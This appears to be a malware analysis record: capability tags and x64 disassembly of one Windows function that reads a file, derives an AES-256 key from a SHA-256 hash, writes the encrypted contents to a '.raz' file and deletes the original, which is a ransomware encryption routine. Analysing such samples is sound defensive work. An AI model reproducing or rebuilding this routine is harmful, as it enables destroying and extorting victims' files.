Function at 0x140001340
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
push rbp
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov r13, r8
mov qword [rsp + 0x30], 0
mov r12, rdx
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
xor r9d, r9d
mov r15, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001699
mov qword [rsp + 0x198], rsi
xor edx, edx
mov qword [rsp + 0x1e8], rbx
mov rcx, rax
mov qword [rsp + 0x190], r14
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [rsi - 1]
cmp ecx, 0xfffffffd
ja 0x140001678
mov ecx, esi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001678
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], 0
mov r8d, esi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000166f
cmp dword [rsp + 0x60], esi
jne 0x14000166f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x140001664
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001657
mov rcx, qword [rsp + 0x50]
xor r9d, r9d
mov r8d, 0x20
mov rdx, r12
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x14000164c
mov r8, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x14000164c
mov rcx, qword [rsp + 0x58]
xor r9d, r9d
mov r8, r13
mov edx, 1
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
mov rcx, qword [rsp + 0x58]
test eax, eax
je 0x140001646
lea rax, [rsp + 0x48]
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rax
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor edx, edx
mov dword [rsp + 0x48], esi
mov r8d, 1
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140001641
mov ecx, dword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140001641
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x48]
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
xor edx, edx
mov dword [rsp + 0x30], eax
mov r8d, 1
lea rax, [rsp + 0x64]
mov dword [rsp + 0x64], esi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x140001638
mov r9, r15
lea r8, str._s.raz
mov edx, 0x104
lea rcx, [rsp + 0x70]
call fcn.140001060
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001638
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x68]
mov rdx, rdi
mov qword [rsp + 0x20], r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000162f
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x68], eax
jne 0x14000162f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x140001681
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001681
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x1e8]
mov r14, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.1400020b0
add rsp, 0x1a0
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret